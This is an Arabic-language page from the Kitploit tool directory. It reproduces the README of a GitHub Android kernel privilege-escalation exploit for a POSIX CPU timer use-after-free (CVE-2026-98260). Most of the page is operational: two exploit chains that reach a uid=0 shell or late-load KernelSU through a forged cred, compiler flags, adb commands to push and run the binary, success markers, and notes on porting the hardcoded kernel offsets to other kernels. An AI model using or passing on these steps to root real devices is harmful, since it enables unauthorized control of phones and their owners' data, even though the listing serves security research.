Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-98260 — استغلال ثغرة use-after-free في مؤقت CPU POSIX في نواة Android للإصدار 6.12.69 يحقق وصولاً إلى صدفة بصلاحيات uid=0 أو تحميل KernelSU المتأخر عبر بيانات اعتماد مزيفة. | Kitploit
أدوات/GitHubGitHub/yukonga/cve-2026-98260
أمان أندرويدتصعيد الامتيازاتتحليل الذاكرة الجنائيالاستغلالما بعد الاستغلالتطوير الحمولاتاستغلال الملفات الثنائية
GitHubyukonga/cve-2026-98260

CVE-2026-98260

استغلال ثغرة use-after-free في مؤقت CPU POSIX في نواة Android للإصدار 6.12.69 يحقق وصولاً إلى صدفة بصلاحيات uid=0 أو تحميل KernelSU المتأخر عبر بيانات اعتماد مزيفة.

عرض المستودع
4511منذ 10 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-98260 Timer LPE

نقل CVE-2026-98260 POSIX CPU timer UAF إلى 6.12.69-android16-6-g242e1a07f878

سلسلتان:

  • timer: كتابة صفرية لـ cred حقيقية → uid=0، u:r:shell:s0 (جذر نطاق shell، bset caps)
  • timer fake: cred مزيفة (full caps) → تحميل متأخر لـ libksud.so الخاص بـ KernelSU المثبّت

الحالة

المسارالنتيجة
كتابة صفرية لـ cred حقيقية + setuid(0) + exec shuid=0، u:r:shell:s0، ROOT_SHELL_OK
cred مزيفة + ksud late-loadlibksud.so المثبّت (uapi 6)، KSU_LOADED، su كـ u:r:ksu:s0

البيئة

  • هوية الإقلاع: adb/shell (uid 2000، u:r:shell:s0)، يمكنها قراءة tracefs و/proc/slabinfo
  • عند تثبيت KernelSU manager (me.weishu.kernelsu)، سيستخدم fake تلقائيًا lib/arm64/libksud.so الخاص به

البناء

NDK 28.2 (aarch64، API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

الاستخدام

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# تشخيص
adb shell /data/local/tmp/timer ids     # اكتشاف tracefs page event id
adb shell /data/local/tmp/timer leak    # إجراء تسريب base/cred/task فقط، دون إطلاق UAF

# uid-0 shell (cred حقيقية)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # sh تفاعلي

# KernelSU (fake cred + ksud المثبّت)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log

علامة نجاح fake:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

الأمان

  • حالة الفشل ستقوم بـ park والاحتفاظ بـ zombie؛ لا تقتل، إعادة التشغيل هي التنظيف الآمن الوحيد
  • بعد نجاح fake ستقوم العملية الأب أيضًا بـ park، والاحتفاظ بصفحة fake cred عبر socket
  • بعد إطلاق UAF لا تستخدم timeout/kill على العمليات parked، وإلا فإن استرجاع init للعقدة القديمة (stale node) قد يسبب panic
  • بعد إعادة التشغيل الصلبة يختفي ksu root، واستخدام KernelSU لمحاكاة إعادة تشغيل ناعمة لن يؤدي إلى اختفاء ksu root

الدليل

timer/timer.c      exploit
timer/timer        الناتج الثابت
tools/*.c          مصدر تشخيص النقل

الهدف والنقل

الثوابت الأساسية مكتوبة بشكل صلب في timer/timer.c: مواقع do_timer_create/copy_process، selinux_state، panic_on_warn، حجم task cache الخاص بـ copy_process، رموز init_*

عند تغيير النواة، أعد الاستنتاج باستخدام boot.img/BTF/kallsyms الخاصة بالجهاز؛ تُستخدم الملفات الموجودة تحت tools/ للتحقق من call site وraw record وتسريب timer وقناة استرجاع AF_UNIX بسعة 8 KiB

المراجع

  • woshigenm/CVE-2026-98260 (MIT): trigger، كتابة صفرية لـ real-cred، فكرة fake cred/KSU
  • ghostlock-app: المرحلة النهائية لـ KernelSU late-load
  • مشاريع نقل CVE-2026-98260 أخرى: استرجاع order-1 وتوقيت الإطلاق
تنزيل الأداة